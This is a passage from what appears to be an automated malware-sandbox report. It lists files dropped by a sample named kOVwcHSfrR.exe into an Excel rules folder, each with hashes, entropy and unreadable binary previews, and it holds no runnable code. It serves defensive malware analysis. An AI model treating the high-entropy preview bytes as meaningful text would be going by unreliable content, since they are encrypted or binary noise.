w..B.G..N>...'.gf.8.)...t...k..c..K..T....S.f_J:\.lR..y.+...;5[0].{..g...."..CW.5...C_.1~Q.=/..R..Hh..f.6=/u.`.J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.875819726697044
Encrypted:	false
SSDEEP:	48:lXB2Dv7q03Znn49j89z77UWH8a2CuIBnTWYyD:lX27q0Fn4mN77tztX1aYa
MD5:	932481E284C9D83E7FC2F2B775001229
SHA1:	46E9C3EF14EB5C0D75783917C2580EEE045E5220
SHA-256:	D20F2072995B01EC90AE5B8028482F9B63E3FE9C432CB8D274AE5A477EA259C2
SHA-512:	8D05BB2912C481DCAC35DD316E7E7706809852258C54A7F7E5CDEA5E0D9ACADD0BCD4397523568FC369C56AD888EAF1D9574A9ED681259E52969FB3FD582CDCF
Malicious:	false
Preview:	<?xmlYL..C.L.G.'..~.b.!..o.7....w....v-.M.g.\...&.(q#\|..w.-..k.t.l.f.I....]..j...l.La..t.0.7GI.s-Y........4..f.B...A..\...z.Q+....B....Q.....5.'.. .fDF..jd~...k...`o...Z...U..c.K.(.1..4T..:..\|.S.....r....F%..!.ael.J...N...,....z.V.".<_g..!jl....ic..8."4D]!$....;.U......"..J..P.;..Z.T.....N.i9M.M....x".j..1..L..7.oYk..<.Q.DT.s..<....z.$}Z.u{.....MO...K.....A#.M%........(..8.4.F.g3..."...Of.q....9....:"[}.N.7.R.,r.....Ufs:...2.n..".8...&.F..\...kz.....t#'?.._"..,..b.$.H...=p..../io.\|.)..3....CY....z...\|.....k.TU..<.~v7..!...j.M?......I...6...-,+..5....J...)B..Y.,.Z1.77a..^;1..\.x.y..+{....).C.1@...z5W...W.B....Q.M.Nh.8+;v....\|..z...B.!.>.K....6...........e..cB...K.6.}..yH......N.Y.....?......#.....3o...!...(.s...K.UNQ.=..8....^.o..c..K.q.5.........p.,...G.+..j.i5BU.....+TvGrtL...n.....9W$s.x#.Rv...e.Ib.\....M.0L.B.......(d.7.....%V....D......{..}l\..g...J..}...^..6C..0.N.....%....ZX.~....~..P)3.`f...*..q%\|..O:...z..y..i..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.870832801626827
Encrypted:	false
SSDEEP:	48:la+oNzt0CMhz7AbnJD2Woockhb24CmMYNw9favl+/yD:lahv0CMhPAbnJD2vop24TKko/a
MD5:	31CC178BF45DDDEFCF2F37BA175E8B1D
SHA1:	0472AF65E3B26DF9F03945EC67D6D12300BA1891
SHA-256:	67A7114D445D822F24C2F7FC87DDCFA7FBF07D2478D559AB06DC116F3758E921
SHA-512:	A9B0DF89B569B88733AF24B0BA2EAE56E10DAB4C5E572C281FA30E8A058AD33EF17E92E13ED7699E63A05C2492519471EA6438E58DA0DA639955A62ADA49D7B9
Malicious:	false
Preview:	<?xml.....(.v.%.......`y...!.C.._...9....,.....d-.....jV....A.y....fJ..tpg.3........#F....udj.?....a2N...<.u......l.k\|.U..=.>@,..!N...u..jn..dt...h....L.0n.Q/...Rk.,..l.W%-......hM.`P..y....m'.dL.......{......L. ..:.....}...... J.pB..]..D.....b...!..g.)..d..lW=..=....f..eZ.C.....A.v.(21.5...0B(.B7...2_.#<.BC..g...(......[.a.lV.5Py?<........J.>.....j..'...Z.3..v._WOq...Tp.....P[..%..d"S..?...`^ ......~.W......J......+(.l.=....t.W..#{A.......].t.....5a..#..~....X..B.N.....;k...NQ.H....!..>lKxP.....%f..x2.l.M.:..........8z.......\|....0...h.}.<....<....~\..h..H.7..g.1..j..>.va...XdGt.W].B._...'....h....._.....f.2.A...@fD7).\|4->^.......`.9m(G.xIx.\|..IZlv.,...;m7.B.....u).}&..p%...5.x.:../........./.....J...+>qZ.R...[.B........B.."...<....ug...n..,.0jK..MO..\|.Cs....?...[F.;..fC.*.X./K.'R.J.......h<d..... .9.....z...h{.A.I.....Jj>..iR.0!'V9\.j......'z.5Q.C6.Y.ts...S.6....]..ex..8. .c.!..}.m..5h.G..$Q.C..+.Z..4.j....J.....y.....hY....k......./....._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.875365980699092
Encrypted:	false
SSDEEP:	48:jd13pTJugfu6oUB8x6/h+UY8mPdsU1hhV6JSZ0rP/fcYkyD:R13LzudUB8E+B8q9KJLrP/f2a
MD5:	FF19CFB092B7D089B6BB9553F2151855
SHA1:	8317214CBC6893329F878343FDFF45AB87C223B1
SHA-256:	803EF835EACD23EE05844603854CD09A8A293F5C010AD902956CE0CB9DFB0FA3
SHA-512:	93DB73AF214B6A8DB192F80F9DFB54E7E67A6D12BED1BA4DA58CEC90B37A7CC6FA9ED9A827A17CA626A87B2B392DDEF40365BFC51038745BF05C6DB511C598B2
Malicious:	false
Preview:	<?xml.Y..5..@.....2..Y\|....CNP...HN.#.7.l...G...S.o+......E..L.6........:........r.....c....'..I9.._..K.8.Z.[......B....g"A.;Q4 S.bri.`).....]d"..D.w\|...U.........^"...3-C....R...#.u.YU...H..v....i.T..^....w.hP,x....Zl......6..9.Zw...?......HZ%.....v..F..Swa..w......_Ci...\|.i...@.....$.s......xq@.+......<.-.Gg8.>.f...~.~P.lPBR.nXD.I.q$.\|X..mLeJ.{n.......a.......S!...X.N'N........H".7...;.)....O...R........#..S....M.#..l\|..AR.......".:...G/.~......8.?.ImX.....8.0j.2....7...\.:qj....=.]U....%<.%....O..^.wk.."._..M!3....@.X....<.@2.....O &..N.i..R{R...}.Q...-%$C......}.. .c..+.(0l..~9.....oU.f...:x......=...ZS..5J..I.S..(.........r...cn..99..p....o....7>.A.z....1..Sq.%.8.m._.SL.Q..`...AP,.".b'.A...yo..+@k..sDC.Y&.s.u.pW.aR%.oD!d.^..!q.fa..1C....j..>....7C).F{.gh..........bL....1q/3L..Y.XDo....2...:I.%.]>...j.\|&BR..\S..........%[~..4...Ey..8.o...m.u.mH....2'...E..V........cY3>.6...Al>...m.78>.QI.].:...O.IS..m......:E......'...4..D'.W..$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.886352435324172
Encrypted:	false
SSDEEP:	48:Yi2mv3F9sXfkNic4mmtqwmAGtK1iL3Pz0BIyD:Ykvzefkoclwm3AaQua
MD5:	518E24B8B817989539EA7FDF4489CF22
SHA1:	79B83A52CD397F9A02BD491A8E37D9AF0EB66C9D
SHA-256:	D3D53164879EF2919ECB547ACF52733B488C3BEA6E3AD4C93F1CFD8B34B38B9E
SHA-512:	C6EFFA4B98F364E7AAE08743BD0B966BCC654E882A71B3F84A8B5EB6A3064DFDE45E21B5B7B98E3443D91FB72473D560D5718E0EC3DACA3DE743523B0620DC6C
Malicious:	false
Preview:	<?xmlA..v........c.^.dx..P..h.t........X..+..e?P...... 5..04J.o61.z...GS..n.'...{.M`........l.<.H.[..I..M.vn..3.Cj._...$.V'/7.9);!...i..D.t......r...M..."....L....J87...75....{..E5...v.v..gR7.....h.S...1<.....I.. 1.q.{...W.J.N-H..D....o....v/...?..[c...l....U.J.>.U.;.r..-a.+@P.G.,.6...Ww<.~.d4..j-...^....A..+7....-qz.../.8LC{...............=\|..I..@v.J.Y.3..9.i;......$..}........Z...)..~.%.nN...\|..c2.!...X.0.+)...C>.V5; ..d.nk-\|.6....uQ...b.3...x...ij....V;A...q}..m....v........H.f}.W...R..}..1.vF..W.0.!9W...xi.....8h.#.R%..c! .....\|..S.....#@.:"`........;...L.gf`.bh.f.....@}.h!m..g/.dap].\|P...$.G8..8...2..<....3R<.-./....iW..,.{0H.b\|)....x..D.d.._.;...BsO8.K.^.wt.N.......;.T........z...V..Y./DP2.....a..,7...#%.`.....=.C2B/.../............7..b...]v..K..@.(..).O..f^..j.-M......2.h.. ..L'.`..\|r...X.y.a.mAL...$PV...."].nB..)..x9.5..[..X...yu;%.>.]...E.. ..$.-....V........aG3u.ca#..b....vAX.D....y....^..... w\|4....f...X./.\|...>[... .Kt.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.8771734242078715
Encrypted:	false
SSDEEP:	48:f32KwowsLqagxrrD2j7yFEXpPIIidnoRL2er8yD:faTrrD2XyFQp2dijr8a
MD5:	7B6BF044AF3FF1016D1539AF299D53B2
SHA1:	F63BAD7B0D6877CB0EC219E747637C8D00C4CBA5
SHA-256:	70863EF3DCD9AB04EFF4A2714244627CD2080D2B95ACD0095C29A9D388195BF2
SHA-512:	04DE609EFE992E0D4447176FD626C74462F393ED343A34E3923EC207774D81F19E7E317849EFD73EADDA2D8E7AC033BC7FD8E23F0EAB3F3D8CE91460AE5ECDC6
Malicious:	false
Preview:	<?xml..z.....D8,K>..,...l8....OD).....d.......M.G.-..x...R...........$.....E.Tn...db.6R.....w;e$........ (.......N.w.......}.}8A-...{....6.$.)!...N. ..._..9...p..L.~E....Ow.@....k.8?vX_.....w...+x4.h.w..Pb.(W...x$.S[ 2..aC8..'.B......(....9Y.{zp..fC.......+.7r.}J..mD.bn[.._.s8..`...xK..x....O.}BO.W.2..l0o9[..ZK....h.^S...:S..l.`...&..&....4C...:..\...sI..wc.a...>...h.k..#m......t.G..(.B......B...\|'...q........#........u....B.;....o.3`......\......rK.J.RIM`..F.........Zl..(n.5....jO......MO.a.8V.p.....Tp&.JA..JU.-g..'.).f.Avt.#..r.).@....&\|. .....!<3.'...?V.l>3..f........I...aw....rO.b ...5..$E...s.Rh.....".S..K...9a....2.C..:.<?..../.W..."\.V.[B....,..N.....X4...V.,.$.<...../..U..SY..<j.>Mp>.+k.x.g....(.;..2..$.....GeVn...X.....Gs.Y."'%M.5..>8.)...-.......q..]...@.t......o....'z"....yq./lj..lH..u..1bj.h.o5.}.J..`e..z.H..j...."...;.eg#t?.C..A..C......-/..Q.oZ..6.....g..oe..n......o}.....x.p.Sd [.,C...R&.~WI..lQ.s.~a.F.1..;!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.887165467829574
Encrypted:	false
SSDEEP:	48:gEcDIAx4gANQPKjTXWY9TeluDI22DiKedwyD:gEcP0N40TXWaTeYM3Uwa
MD5:	8D012AB8C85F1C2CB2EDD079E4E7FA39
SHA1:	523C7775DA9E2F1CCA56D1D4DA0BB890F1F7BBDD
SHA-256:	358A5BDF45E30E7DC3004B1057D648BD246EA26BBD295593AFAAD4DC41E9364A
SHA-512:	8B2F26662B986099AA142418AAAD2B5F3AE87A7A7235EC20D5E0D25716A650151D63F6F3A3569DD34CAC274B53C6A47D0641829A946ADA1C0BD798B56D93DB22
Malicious:	false
Preview:	<?xmlx~P.Y.._....\1. .`[..B..A.D94....[mV......%..\|.bG..D.jr.?p.1pt.G.91#L......;I.....+2$........Q...-......r..H....d.G...$z.B...5[....[..d....\.......Hzj..sm...5.cI.....B...U~..<..:....4V!r...........c.t..l.xWr...,....H..xk.G.5..F=S..{#......?$.Y.........mR..zh...r..F1..'v......'.5..q.w...Y.t.b..'.?.b..-.gE......$..p.e......Z..cA1).9.../N..Q...L..6...K..v......:.0..........&-........Y.H..9lGw.._........1.D.K.....hH...m....D..C5B.-'.5z.....m..oB.>...~O.y...$=M.L.....WWl=..l..2..4.>.......#.E....R}5z.....E+..:..K1...@...v,?..o.e.F{.z..4..F.J...x......Z..W44..\...c.E.XK,..A......pR..s{.$.X.").,.o......O.W...,.r.._d...Y..............n9=].E......3....)!.V..a....#....kZ0.t.R.x..Q.\.....4..6..;2..m.L..Z.......\|..<S`.......C3P2..H...@G).......i..4.....=..u.s.vM...c.M.f..VI...Pm..W.>..X.....^~...1.[..V.v..<..]CrH.9..r.Q+c..A.)......@....g...d..<.n"P..Iy#]h......[{..K@..@EZ..<J.T..S.p..L.^C.A.f..^.&....q.(0.....\|T....]q..+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.860848022327572
Encrypted:	false
SSDEEP:	48:xp5J1so/2yrgX/mzbKuFT71xugK4H6ylWYhoqVX6JqDMoHywBTD1ryD:uo/VCmzbKGRay7hoeqJqD/Xt1ra
MD5:	FB80C7B86F31033BBF9B261334ADB43D
SHA1:	D050B47DB8C58658DEBF12AD3D9BED60BE7F6D52
SHA-256:	781BE1908BC8DFD94C5CFDA58167A30A0C6C32061E0D3F910B7247FF653BD017
SHA-512:	F67AE17C001E549D04757B2519CF9946AFD0F0103196FE2399DDA8BF8EFC9039E27A6B1F2FD55B2912D8A36DB2F628911197B43BA9BC3035EEF581FE8EDB4351
Malicious:	false
Preview:	<?xml..P....W..l...M.H.@....-.<../.vn.?.%{..Q.>.y.~..)..L../...N.8....w... ]H....9it....`.t.8......1(.....{...(..h..J.u..K...q...`YoM.4...B_.U.d...p#.[..b.....t...Q.....9...1..7....b]_...-..?q.T..S=....V...-........A.V.!z4.......X-...E...u4.>.e..1.4.....2..8>.cA..e...MA...N..;\.@........R...I...+.z..o`.6..?`<nF.5.E.<=z...Y...9....sM.?...U.@..i.KLv.P..Y..P.....`.B{.t.&...\%...mE...i>..~O...H&...{d..f....HR_:.+.g....]C.....0.z.....M..n\|...[.!{Sj....5qG...2k..Ai.m`.,..kk^.....-.QQ_.&:..Z...o.<%..}...).#.&~!!.....g:.Y.....t....x..5..1..fW..I.._b...f....6..@...-.2....=...N.n.{...e.iY.v...h...\..}..z..}.phA.......\|...wh8..Sc..s..>...^c...A.:.d5.j.4...zDn2.i.4V..3.9.k.P&...F).V.d..w2...n..)....m......R.r...K..%..B...o.....x..a....of.:..........N..7~....e.<.+k9:g..l.}.l..N."b.....N@m\|.yf)....X..W.....a...R.n.%.C..2..Lm.).sR.G....:QC.x].Vj.C...Ov........cf..COP..-..Z.Z/.\|..6....".......F..-.........U.#....o./1.U.2X\|./.u..z..;m=...`.z..P...Ttu..3A.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.8810670253318325
Encrypted:	false
SSDEEP:	24:4wc6TdDtkqBIC4mljpVlaBxs7mfSjCElWKJ1aJ3j5wPzdslDIw1bD:hPTttdBF4mljwBXfSjplnKbwPz4DIyD
MD5:	8606431C12AF5BECB59EADC64F9BBC2D
SHA1:	F3B3ADC45B80DE57FC7DB4C8A41917D87594186C
SHA-256:	03D4775B001DB55CDEC5CB9DB0835D6D4E77A4080D7C917E34DC9D48AFD696EF
SHA-512:	A72663495BC1F9E5448933DDB781E7DB94F00B182C2D4BA011558E7D0BDB1F65EA68EE08A3823055FA4919B51BAFC50D9CC4B23139E4194E492C2A562F744944
Malicious:	false
Preview:	<?xmlEY=....OW\|.H....b!2O......4.\.n...b...N..q.rA...)5c.yU..7&1J.+..I..1.xv.t-.....w.{.<..I..j..v...T.E...#I.'90..z!.4..#..G..%M,...sY..E....~!.......k.<.w.>]"!..vB..d.}0g=A...i...n\9(.E...Z.tH.t....0g......#".Z#V.:....&..]...}............b.9.#bcf.Y.D.d!r'-........r.Y...(o..@.I.........JU..@"..h...d.>.............Y<{.Q.O..^..hF%...<,.f.z.f4........B.....u.ox..d.H.&.:]Z..LE_+hm..z.ER`....5.....xx.v.w>.......r..W.z....nV.D ..j8h]n.B...`8vSl..I6....@.,.t2........_G[..K.t./...\.8..&....k...]f5..Vw...P....E.{'..B\|.o4......0$.h.m.....^.._...{...e....N..S.W..qJ1#..........6........L...Ll.>..t.>..3........nV..p.d.}.u$...<\. # .5.Z.2j..VQ.<..2..GQ.!......@Bk.I..x........ .)...Xb\|ZI.J...C...#. U..r/.}..x.frt.k..9!......<.i..E}<.u..p.:..!v..5.m[.20....=.2.o.*!S..(.......uR....S.;.M..5...]..../8..o07.S.[v.i......j.L..[p.$.NS_D..a....+..W..]M.,...........G.e."I9nrPdO.l.#.$7c.8.......]q&2..B...c..K..=.t.Q....]X...]2{...z#7....u......<.1...\..B5.'..1.......K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.876314860924487
Encrypted:	false
SSDEEP:	24:Bbkd0I78aD3aqrBQQHkpgQypHRYTwCvLLBVxSu51p9TMLtYFVJrbFma8p/yhIOCN:BW0Q8DOCQH0gTR6b3letYFTFz8chbZyD
MD5:	9B86395159D72A9DFF8F9CD6276311A6
SHA1:	F50995A7EFFF4FADFE8B40B3420E90D132B92C33
SHA-256:	D0B5292E17EAE8E1C1DEAA9A0EA05659A4A4B84F0407C504AA6C2ABB0141053D
SHA-512:	3935A19BA9902684CB135B54EF1504CC9CDAB92456912A013B25F2729F3FF38C284D174DBAA97E2976C67FA555E0F37D616E5C0EAF1AEEE6D5AB00DE66796373
Malicious:	false
Preview:	<?xml.L....y......JG....-qy......U.......\..<oVJ.;.v?....P~.....t)]z.-X..-^A.8.._Y...Of.e)#X...2..N...... ...".......S...p.:G.%Xbf...Etc..U...S.....x...2i.\|``XT\#:...)..w.._.^Ew....g..fK....Eg3^.l\.{....Z.I.$/6.....O.z."..Tq."..K^l.....5.6Z.+.s;l.T&..L._yr......A..`.z.o-.p..C..6k4.5....P..%LYcg]..&..Ht...D;.g..n.D...N.PR.....4......^..Y.;E<.....C\.e..$@.....C.}hZ.m..-..JIX..6...Y....r..6..MX..LI=T...b`Qy........:.(../.mTmg..N...b...9...}..a9<..k.f..\|.b...l\|@.M.q@...jX.l.E..a{.B..,..q..{...p..V...<.>..(:9^'.<^.N.Z.z[H....b..K.....g^q..@a.O4#......j...n..J........D.S.I.Q..."PsP9.a..w(...M.f.l...../+...{E.uR. ..h....T....pB...%....7.Zg.S...82.;v.m......?\|.j....#...... .t\|S..........ca..U>.Q]oq\...4%.s..Ac..P..`..'..x.@}.0...{..f..p.x\|.~lk.K..!....NEnD.u.b...Sk......l...C.5.7%;PK.?.........V6.$.N....?,..$`....*......-.:`..".i...:...&.3t~1.m../....Q...e....wY..U\.H.+...E]...9`....h5G .C..,3.y...P%....A...4.Hz.vf.$...D.t9.............pY.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.880906695344256
Encrypted:	false
SSDEEP:	48:Jq//duO+kQ3f/DsUVA1SdMYkIeJelNTfUzK/y5yRC2OyD:Jm/duO+NnIeiYkwl9x6M1Oa
MD5:	8EA1193EF13DCDEF648A5C39FC13618B
SHA1:	1026892FD33ADC01748490936813C5BE69F1B964
SHA-256:	5E10F7D5AC36C8A0AD9E74BDDECF6336B141EC336F0DBC8BD9864B100D5825C4
SHA-512:	584A9F8A5AAFBB9D19F052919003DE8F5943825389FCB153E92B2315C0782FD852B59F31133CBFA5B9EA6E1A14261BDC9157D3064D96E0284EF4FBAC3165E9B0
Malicious:	false
Preview:	<?xml2.S&^.:..8M.8.?,/...:,...Sd7.....}..w!.k....\.P.T.E-HHU.L.....5.,.H...'...Hn...b.}..M...Me!H..z......H..F[....0....y."..G.0..q....l.E....%....,...1....+PK_.L....1..N..x.kw.).9....?.U.......Y...2[.%7.!.fL.!O.TKGB.....}j..qa2..\.B'..j..,V..2..I...T.0...z. ).d..{.?5u.rN....F.Am.+CN.k.3.1p..[w...~"N.........k..!...>...0...b..%?....ir.I..!B&f..d.....E.X.7..r.N.c....%.E.. .tFm.. it.(F\z..^...l.2.&..Tk...BN3......oU....Lz..}vm....}.$....bI...0.L...u.0x...)F$..]...z....VRBO~.K....8(?.L...E...#E.7..@..P..iz.k.WO....!q)%"Qy........X,\.....Q..1..0.s..j...tfli.d.z......1...n......q7.?...l..V.f....9=%....+.(...,.!RsT..=.. GY..Ux.p....q.e.\.5..Eb..)p"...w."..@c....'B.*....q'............a...-.R....dOw/..q..TO..Gk.K.o.P.X]YI7T(.L.!...K7o..uQ...4....\|)..\|o.}.4}._...F..}..2.^b..Gx....g.J;."'...e....f..o...`.......;..Z.(..U.......w...d.98. Kh....u...W.t.%.d.Cx.$G..T.`..YW......".5..MG.rM...^.`...%G..[}.W......-...Mb.;.`..a.....0....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.892930752728973
Encrypted:	false
SSDEEP:	48:L+H+fjM5u1d0Lqu6hK8eSdEP0zisxrj66/yD:LRjM5uPKv6Y8eSdEPBArp/a
MD5:	3CA816F6A9644E616D89ED8CC0345DF6
SHA1:	14FCA5495BD6D69E8D6E5F2E6667E0F1EB0527ED
SHA-256:	E2D131BE9F1AE86C230BE0A459DB3C882D5F38543067D190B6D20CCF49E787EB
SHA-512:	7D8E7B54C63DEF15AA6653C9DD3ABE1AF3810DF9836E10F0883DB2342E3826C11E90E921C9870FC91207F103C090EF42979EA0DF058554B9227DCDE2D3F1619C
Malicious:	false
Preview:	<?xml.....K...OL.r~..+.k..h.xSw.......b>r.........9..W6U.....`y6.8..A..........~.. .+Y..p.+.t...J...........3.D.a....8.n.........$......D.Q..wF,!=.P.Ke.......=.v......2L\.#.;gA.z$@....a.p.^..i..<..9.O....w.Gy....2.U"nN..c.2..r..E/A.............gY..P24\|.C.I..rpq..#0./.[...A.a."..?..:.P..!)+. ..[9}.3v...P.M..]~..H....... d.1.l.5V..B:...5.._...s".1......L.>.....r.O.[..f{.ZwV0[...6.g.B..f.i..#......A..".y....6.....G..q.......=.0O..k.....%....PK...T.F..4j\..^.....5!...g..b..A.y...r^..d.....ik.......3Y.M.7..1.]A.R.....G.n..[..@).....)O.!"....W5..g...2.S....._y#..k...{.MV.[D...H.....5..+...^...w.....d..L.^F.d../...)h.Zk\.8.1L.........p...3$...'....F...].TUc....Wf......Ell.....$....).3UPNz...`..S..c.@...y..=....$.s..j..6v...XB.....{2.k..\|.u...R.0..x...!..*_.......~.]..f.....[..j(.........cB..3.........%..h...Oo.D..]...l.>..I:A.%..^....X7.5">.m.GU.L...J....9..l./k.H.b..p..-.;.....ki.Y#..%)0..A.r61......}).......]{t.m[y..c....Y..1u...%.s.=..R..)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.902995873385539
Encrypted:	false
SSDEEP:	24:Kx6MHdUYVrwR7pTZUHIjkaIObtn46ZvkKVs7US/tMIzyzc77TxvtDgyvuZKXyPU0:KQepuRfUvD+5DVs79iI2Q77dlucym9yD
MD5:	59B467A92D574EEA75D21A4F768C02D2
SHA1:	81B59385BB1798D74D78E43C482137CB3E970A8D
SHA-256:	5937FEA54D114DD77F9831623426CA7C921B7A6D695588226196B8C72D912B47
SHA-512:	4C3B8F07A683D0F1C7427833D3E66CAA9300D2CF6E2446284DF0291EDF34BC01DB232BAD7AACAB2F072DBA8F22BA3CD57A2D16AC9558CA9EC7BC20C55706EE3C
Malicious:	false
Preview:	<?xmlN..&..KX.W..e.~.....J~.G...-.`8...;.m.....x.`.m=._..jm.....NUJ..s...5......X..g..q..(o%jo.9.....JY.V_....Bg.".c..[0M.:j....0...~..Gsr...)k...'?N....l$d.o...ZQ.....x......PX...K[...rS..f/.h...RQ..m8. .a!q.Q.prbLo...(.H.......+.M...,..aY..Bg............s/....nV.\|6.`.a.5...D..uA.z.....OX.V......s.(-r..'...~.......G.2w."@H.J...v...,./..._.....B.H9k...E..../.....R3.Xj.tA...>.x. ..-.Vvv......a'..W....! f.l.S/..J....6...;..[...N.k..y...N."........'..$....j...l...~h.0..m..=.z.....V..U.-.g&.".lLOfL.2hx..U.i.Xk(..&d.[.........!...T%..$..~U.....[......mU[.M..........C..X.k....F....z....e.......j..m.c..tC..........<..ED:.2.P..'.......f..~...C.f.[.q.....yn{.....,Wo.K..+O.....V..`..f`._.?1..F...h.q2..,YdB..t.S......9.)...mC.Fs.jc.....8v.3...a.\..$z....fw..@.........PE..).._.m.F..2..^.W...O'.?.fO].4..l....5...<..Z.]..d...i+r.x[..@..#S.......L.@........t..O..W.H~.BL^.....[!.h.iA...\|....M49K... ..M...U1...>..o...4"..i`P...k^.'Nq.=&U......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.881363047198409
Encrypted:	false
SSDEEP:	48:5UaMfnz+3eGCpfiP0NkqlSvAwigL24AyJbTEv1NyD:Z0zmVCpflkRD2oxTEvHa
MD5:	F512D6606DEAF600A154F091E8C87D9F
SHA1:	4C1CB4AC7DB45F6A7A995536757514C380F17D5A
SHA-256:	C6536BF4D837F77EA8196D5B7F11F9741DF0882D086BFB1A9E41B8F519F405DD
SHA-512:	0C7822C4B64465191FC1D4125D13D0AAF3CCC0AC0E31AFC598A11B40607446545BD30C55BC5651B1CF5ABB609D6601E136C283361527FD0BD5B25B5477509BF6
Malicious:	false
Preview:	<?xml..;d.......h.b..K.K2;.H.).n.b.h..YI^.....'...._...Z.w\|....X...s?w.......`......:.l..R.Yz.H3..]...r...l0.GS.2_x.....,.s..6.\|.pu. .+.#..2..;..k...M..7><DE+.V.;..R.@..qM...."...{.x..v(.Hh..."Y.A..7G-.wIAcZ.+...2+b...@.pR.....e.;?'........-...`3....+.....]lj].m.L1.]......^.."...bM...S...I..[M2..............v.....E-/..iS........@ /!.E.l'1@.pDT.#..oa.}...I\|^+.G..4...O..y(...#......B...Z..............u....x..M.v.....T.n..W..'..pL.C....<F.R=...y...@...0.,..g.R............0....{..U.......8..n1s0...5..7...9....F...".<E8fH..\.5=....c.RU}Oc...._\|.s.@./...)...1^....).%^5......:.=.!.0.D..I..eW..9...=..&..V..-....b..V........7E..y...@.+l......x.q..XZ..G.>....`...D..f.o.jz.]..C..h3&pC.G..).4.....H>....$x\|R..'...t..cG.8._...]c.:....w...P(9.......\|+.q.6,..._.J6+...%....h\.).}.V.......x,..DVzzv...E.....2Z... ........z.@.P.....Rg..5...l......Y.'...?.J...)....$~.w.H..s...#..1g..jZ.F%......M..........^.X.D!.Bx;..6......C\|.+.K...H......H.m}h.J.........XN'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.889679362247776
Encrypted:	false
SSDEEP:	48:zSeHwYo7U/riTsLZKF/Dj5y98v7zmLwcJk6oCryD:GW87U/W8K9D4PkBSa
MD5:	11D89B63F0528EDDDD00084286D48FA2
SHA1:	FFB13F573A20FF22C96280FB02E2BA70FC857550
SHA-256:	CA8A9BB7CCB2069DE9A49D62F304500A8421C89AAEB52683DEB8DDDB1470D5AB
SHA-512:	C899C6B40340DFBAF6772B6FA621E408AE46457C16C44C948EC81FBEDCF6C68F328BEA90FC0040511B8FED122D8C847E99BD9255A1C82451961F47F2D7D1191E
Malicious:	false
Preview:	<?xml./.B@.d3I..#..KV..).2....c... .h..:.../X..Xd?<..e.....J.'.....s....N. sPc.Q..e.m<..n.........!...BK..c.r.....p...]....^R.^H{.w.H...YP@..W..0.r6.....!>.&Z..X..E....p14.).:L....&w>.o.x0.B.U.Z1....%..R..+..z/.D.DL.h...&V...R...}+t,.{B..<E..:.R\g.P.nb...bP,..{...:o9z2...;..b./5)...,%.:.e.....@?&.fQE.....j..s........ ...........7=.II.......C.G..'"H."4..3.[m..>.9K,r...I..@..}..p..n.Z.h.:..........y...b.....2..t.,....e02.....SB?....{.J...H..........gd...+...f...`....NqfL.Zu63.....O..om.=O^..%'...LD4N^..g~.2.:..........G.S.V.3.. .EG.....b.=.c........-.t:l6..{.........k.o...}:a6. 5.z.+.K<.....%6}.Np.6.....2.N-..].#...f\.K.6.8..I...n.154.-L....5..Gck...bC....8. ....%0.\B......L....B.....J../..PWU..O............j..J.....r..W.'..d..M...LVY.>...e.l_b.!.ae&....6..N.&..:...v/.wH..Zd.......N.X......j7}..r...$..W..t.....Y.&....c..L?O......a.%..t.....T..dL......9..B.v...-..o..b..X) .a}.WX.......K...x...7....PW..r"....w...lm...c.w(...Haa....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
